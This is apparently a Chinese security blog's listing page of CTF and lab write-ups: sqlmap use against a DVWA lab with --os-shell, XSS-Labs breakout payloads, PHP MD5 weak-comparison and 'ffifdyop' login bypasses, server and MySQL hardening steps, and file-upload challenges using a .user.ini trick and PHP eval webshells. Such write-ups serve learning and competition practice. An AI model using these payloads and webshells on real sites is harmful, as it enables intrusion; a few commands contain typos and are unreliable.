-C user,password --dump --batch-C 指定字段 --dump 显示数据库表的条目sqlmap 上传木马sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --delay=1 --os-shellsqlmap参数大全https://blog.csdn.net/weixin_42160117/article/details/113999523
2022年12月02日
111 阅读
0 评论
5 点赞
2022-11-23
【CTF解题】XSS-Labs 靶机 1 ~ 20 关 解题
第一关1.既然是xss的靶机,肯定跟xss注入有关啦,先找注入口。2.看到这里有个name的参数,我们可以试试在这上面,xss注入下试试。3.输入以下js代码,发现注入成功。<script>alert(1)</script>第二关1.在此界面按ctrl + u查看前端代码,分析下前端。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() // 要有弹窗才能触发里面的代码 { confirm("哎哟 不错哦!"); window.location.href="level3.php?writing=苦尽甘来"; // 成功后直接跳转第三关 } </script> <title>第2关</title> </head> <body> <h1 align=center>第2关 窒息的操作</h1> <h2 align=center>没有找到和跨站师相关的结果.</h2><center> <form action=level2.php method=GET> <!-- 通过GET请求把keyword接收的参数传给level2.php --> <input name=keyword value="跨站师"> <input type=submit name=submit value="搜索"/> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center> <h3 align=center>payload的长度:9</h3></body> </html>2.可以发现 下面的代码,是成功后要执行的代码段,只要满足这个条件就成功了。3.先打开网页调试器,按F12就可以打开它,然后输入 alert(1) 这段js语句,写好了搜索一下。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level3.php?writing=苦尽甘来"; } </script> <title>第2关</title> </head> <body> <h1 align=center>第2关 窒息的操作</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <!-- 看以上这一段是关键 是不是很眼熟 我们输入的语句 value="<script>alert(1)</script>"> 但他没有执行成功 因为后面多了一个 "> 我们得想办法给他去除掉 "><script>alert(1)</script> --> <input type=submit name=submit value="搜索"/> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center> <h3 align=center>payload的长度:25</h3></body> </html>"><script>alert(1)</script>4.分析下 level2.php 给我们返回的内容,通过以上分析我们可以这样构建以上代码作为payload,这一关考的是绕过。5.在编辑框里输入以上这段js语句 ,再提交下。6.可以发现成功注入了。第三关1.老规矩一句简单的js弹窗问候它,再看它的返回看看有什么问题。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level4.php?keyword=宁静致远"; } </script> <title>第3关</title> </head> <body> <h1 align=center>第3关 这该咋办啊</h1> <h2 align=center>没有找到和<script>alert(1);</script>相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<script>alert(1);</script>'> <input type=submit name=submit value=搜索 /> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center> <h3 align=center>payload的长度:26</h3></body> </html>'onfocus = 'javascript:alert(1)'2.可以发现被过滤了,大于号和小于号都被过滤了,这个是时候是不是考虑换一种方式让它弹窗,实现我们的目的呢,除了利用方式还有 javascript:alert(1) 这种方式也可以弹窗。3.插入成功后需要触发,光标点下编辑框就触发了。待更新..
2022年11月23日
73 阅读
0 评论
3 点赞
2022-11-17
【CTF解题】MD5 绕过强弱类型比较
简介有些东西没有完美一说,就好比做开发的时候不严谨,和疏忽就会导致漏洞百出,在php里有两种比较,第一种是 == 双等于是弱比较,而 === 三个等于是强等于,他们之间的区别在下方有讲。类型比较区别== 先将字符串类型转化成相同,再比较。 === 先判断两种字符串的类型是否相等,再比较。var_dump("0e123456"=="0e134567"); // true var_dump(0 == "a1"); // true var_dump(0 == "1a"); // false var_dump("a" == 0); // true var_dump("1a" == 1); // trueMD5弱类型绕过弱类型比较会把0exxx当作科学计数法,不管后面的值为任何东西,0的任何次幂都为0。<?php $flag=""; $a=$_GET["a"]; $b=$_GET["b"]; if(isset($a) && isset($b)){ if(!ctype_alpha($a)){ die("a error"); } if(!is_numeric($b)){ die("b error"); } if(md5($a)==md5($b)){ echo $flag; } }else{ echo "请问,flag在哪里?"; }?>1.来做一道题看上面 if(md5($a)==md5($b)) 判断两个 md5值相等就输出flag,不是两个md5相等就行了,而是在弱比较的基础上做,以下是一些字符串md5值以0e开头QNKCDZO 240610708 s878926199a s155964671a s21587387a?a=QNKCDZO&b=2406107082.通过先将字符串类型转化成相同,再比较这样就成了,利用以上payload提交就可以拿到flag。数组绕过md5()函数计算的是一个字符串的哈希值,对于数组则返回falsepayload:?a[]=1&b[]=2MD5强类型绕过强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行但我们可以用MD值完全相同的字符来进行绕过。Select * from "admin" where password=md5($pass,true)276f722736c95d99e921722cf9ed621c # ffifdyop md5值可以利用 ffifdyop 的md5值绕过,因为在转换成字符串为"or"6乱码,Select * from ’admin’ where password='or'6乱码,相当于万能密码了。
2022年11月17日
93 阅读
0 评论
6 点赞
2022-11-15
【CTF解题】2022湖南省网络安全竞赛A卷解题
简介1.这套题是湖南省第一届职业技能大赛 网络安全竞赛 模块A样题,我只做下安全部分的题目。任务二:系统及应用加固对windows、linux服务器按要求进行相应的设置,提高服务器的安全性。 (一)Windows、linux登录安全加固:1.密码策略(windows、liunx)(1)最小密码长度不少于8个字符、密码最短使用期限30天;(2)密码策略必须同时满足大小写字母、数字、特殊字符;2.登录策略(1)用户登录服务器系统时,应该有警告标题“warning”内容为“For authorized users only”提示信息(windows);(2)设置账户锁定阈值为 6 次错误锁定账户,锁定时间为 1 分钟,复位账户锁定计数器为 1 分钟之后(windows);(3)一分钟内仅允许5次登录失败的尝试,超过5次登录帐号锁定5分钟(linux);3.用户安全管理(Windows)(1)在组策略中只允许管理员账号从网络访问本机;(2)禁止发送未加密的密码到第三方 SMB 服务器; (2)查找并删除服务器中可能存在的后门用户账户hacker。(二)数据库加固(linux)1.删除默认数据库(test); 2.改变默认MySql管理员用户为:SuperRoot; 3.使用MySql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!);4.赋予user1用户对数据库所有表只有select、insert、delete、update权限;5.对忘记mysql数据库SuperRoot管理员密码进行重置操作。系统及应用加固1.最小密码长度不少于8个字符、密码最短使用期限30天;(Windows)1.1最小密码长度不少于8个字符、密码最短使用期限30天;(Linux)vi /etc/login.defs1.2密码策略必须同时满足大小写字母、数字、特殊字符;(Windows)1.3密码策略必须同时满足大小写字母、数字、特殊字符;(Linux)vi /etc/pam.d/system-authpassword requisite pam_cracklib.so try_first_pass retry=3 type= ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 // 参数细解 retry // 尝试次数 difok // 最小不同字符 dcredit // 数字个数 ocredit // 特殊字符个数 ucredit // 大写字母个数 lcredit // 小写字母个数 minlen // 最小长度1.4用户登录服务器系统时,应该有警告标题 "warning" 内容为 "For authorized users only" 提示信息(windows);1.5用户登录服务器系统时,应该有警告标题 "warning" 内容为 "For authorized users only" 提示信息(Linux);vi /etc/issue // 这个文件是Linux系统开机启动时在命令行界面弹出的欢迎语句文件。init 3 // 验证欢迎语1.6设置账户锁定阈值为 6 次错误锁定账户,锁定时间为 1 分钟,复位账户锁定计数器为 1 分钟之后(windows);1.7一分钟内仅允许5次登录失败的尝试,超过5次登录帐号锁定5分钟(Linux);vi /etc/pam.d/login // 编辑登录限制auth required pam_tally2.so deny=3 unlock_time=5 even_deny_root root_unlock_time=51.8在组策略中只允许管理员账号从网络访问本机。1.9禁止发送未加密的密码到第三方 SMB 服务器(windows)1.10查找并删除服务器中可能存在的后门用户账户hacker(windows)1.11删除默认数据库(test); (Linux)drop database test;1.12改变默认MySql管理员用户为:SuperRoot; (Linux)rname user 'root'@'localhost' TO 'SuperRoot'@'localhost';1.13使用MySql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!)update mysql.user set password=md5('P@ssw0rd1!') where user='user1';1.14赋予user1用户对数据库所有表只有select、insert、delete、update权限grant select, insert, delete, update on database_name.* to 'user1'@'localhost';1.15对忘记mysql数据库SuperRoot管理员密码进行重置操作vi /etc/my.cnf // 编辑配置 进入配置添加以下 skip-grant-tables // 设置跳过 service mysqld restart // 重启服务 mysql // 输入直接进 use mysql; // 选择mysql update user set password=password('208522') where user='SuperRoot'; // 设置新密码 flush privileges; // 刷新
2022年11月15日
294 阅读
0 评论
10 点赞
2022-11-02
此内容被密码保护
加密文章,请前往内页查看详情
2022年11月02日
186 阅读
0 评论
11 点赞
2022-10-19
【CTF解题】攻防世界Web篇
easyupload解题题目难度:11.题目名就是简单的上传,一开始我以为什么过滤都没有,直接上传一句话木马试试。2.将一句话木马改成图片格式,上传后修改文件后缀绕过过滤,结果失败了再换种方式试试。// .user.ini GIF89a auto_prepend_file=a.jpg // 一句话 GIF89a <?=eval($_REQUEST['cmd']);?>3、.htaccess是伪静态环境配置文件用于lamp,.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取,配置放在根目录.user.ini,auto_prepend_file的作用是在页面顶部加载文件,上传.user.ini 然后内容写auto_prepend_file=a.jpg,GIF89a也写进去这是gif的文件头,写进去是为了欺骗。3.先上传.user.ini,把请求头上的文件类型修改成,image/jpg伪装成图片,好的上传成功了。4.一句话木马也上传成功了,再访问upload目录下a.jpg,发现图片是有的,再访问index.php看到一堆乱码里面有GIF89a,这个是就是连接木马的关键网址。5.输入网址和一句话木马,开始连接开始找flag。6.找到了在根目录下,提交下看看是不是对的。upload1解题题目难度:21.题目upload就带有上传的提示,先上传个木马试试,一般前端都有文件类型过滤,也有可能后端有,题目嘛不会那么坑的。2.一般敏感的可文件都上传不了,这里我用一句话和图片合成了,改后缀也是可以的,就决定是你了,上吧,朱菜!!<?php @eval($_POST['zc']);?>3.上传成功之后,就可以开始连接了,上蚁剑能连上就行工具都差不多。
2022年10月19日
396 阅读
0 评论
43 点赞
1
2
3
4
0:00